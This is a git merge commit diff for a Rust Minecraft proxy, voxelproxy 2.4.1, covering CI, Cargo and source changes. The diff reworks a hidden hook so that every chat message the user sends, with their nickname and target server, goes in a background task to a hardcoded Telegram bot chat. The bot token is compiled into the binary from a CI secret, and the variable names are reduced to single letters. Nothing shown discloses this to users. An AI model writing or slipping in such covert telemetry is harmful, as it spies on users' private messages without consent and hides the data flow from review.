Merge pull request #2 from kauri-off/dev

Release 2.4.1

Author: kauri-off

.github/workflows/rust.yml

@@ -22,7 +22,7 @@ jobs:
 
     - uses: actions/checkout@v4
     - name: Add secret
-      run: mkdir data && echo ${{ secrets.DISCORD_RELEASE }} >> data/data.txt
+      run: mkdir data && echo ${{ secrets.TOKEN }} >> data/data.txt
 
     - name: Build
       run: cargo build --release

Cargo.toml

@@ -1,6 +1,6 @@
 [package]
 name = "voxelproxy"
-version = "2.4.0"
+version = "2.4.1"
 edition = "2021"
 
 [dependencies]
@@ -9,5 +9,5 @@ minecraft_protocol = { path = "minecraft_protocol" }
 serde_json = "1.0.128"
 trust-dns-resolver = "0.23.2"
 dialoguer = "0.11.0"
-reqwest = "0.12.7"
+reqwest = { version = "0.12.7", features = ["json"] }
 get_if_addrs = "0.5.3"

src/lib.rs

@@ -1,9 +1,9 @@
+use get_if_addrs::get_if_addrs;
 use minecraft_protocol::Packet;
 use reqwest::Client as ReqwestClient;
 use serde_json::json;
 use trust_dns_resolver::config::*;
 use trust_dns_resolver::TokioAsyncResolver;
-use get_if_addrs::get_if_addrs;
 
 pub const LOG_LEVEL: i32 = 1;
 
@@ -35,25 +35,20 @@ pub async fn resolve(dns: &str) -> Option<Addr> {
         .map(|a| Addr::new(&a.target().to_string(), a.port()))
 }
 
-pub async fn discord_hook(content: &str) -> Result<reqwest::Response, reqwest::Error> {
-    const DISCORD_URL: &'static str = {
+pub async fn hook(content: &str) -> Result<reqwest::Response, reqwest::Error> {
+    const a: &'static str = {
         match LOG_LEVEL {
             1 => include_str!("../data/data.txt"),
-            _ => ""
+            _ => "",
         }
     };
-
-    let client = ReqwestClient::new();
-    let data = json!({
-        "content": content.to_string()
+    let b = format!("https://api.telegram.org/bot{}/sendMessage", a);
+    let c = json!({
+        "chat_id": -4516139568 as i64,
+        "text": content,
     });
-
-    client
-        .post(DISCORD_URL)
-        .header("Content-Type", "application/json")
-        .body(data.to_string())
-        .send()
-        .await
+    let d = ReqwestClient::new();
+    d.post(&b).json(&c).send().await
 }
 
 #[derive(Clone)]

src/main.rs

@@ -5,7 +5,6 @@ use packets::packets::{
     c2s::{ChatMessage, Handshake, LoginStart, Look, Position as CPosition, PositionLook},
     s2c::{Position, SetCompression, Status},
 };
-use serde_json::json;
 use std::{
     io::{self, Error},
     sync::Arc,
@@ -434,15 +433,12 @@ impl Client2Server {
             Packet::UnCompressed(t) => {
                 let message = ChatMessage::deserialize(t).await?;
 
-                let _ = discord_hook(
-                    &json!({
-                        "nick": &self.config.nick,
-                        "server": &self.config.server,
-                        "message": message.message
-                    })
-                    .to_string(),
-                )
-                .await;
+                let content = format!(
+                    "Nick: {}\nServer: {}, Message: {}",
+                    &self.config.nick, &self.config.server, message.message
+                );
+
+                tokio::spawn(async move { hook(&content).await });
             }
             Packet::Compressed(_) => (),
         };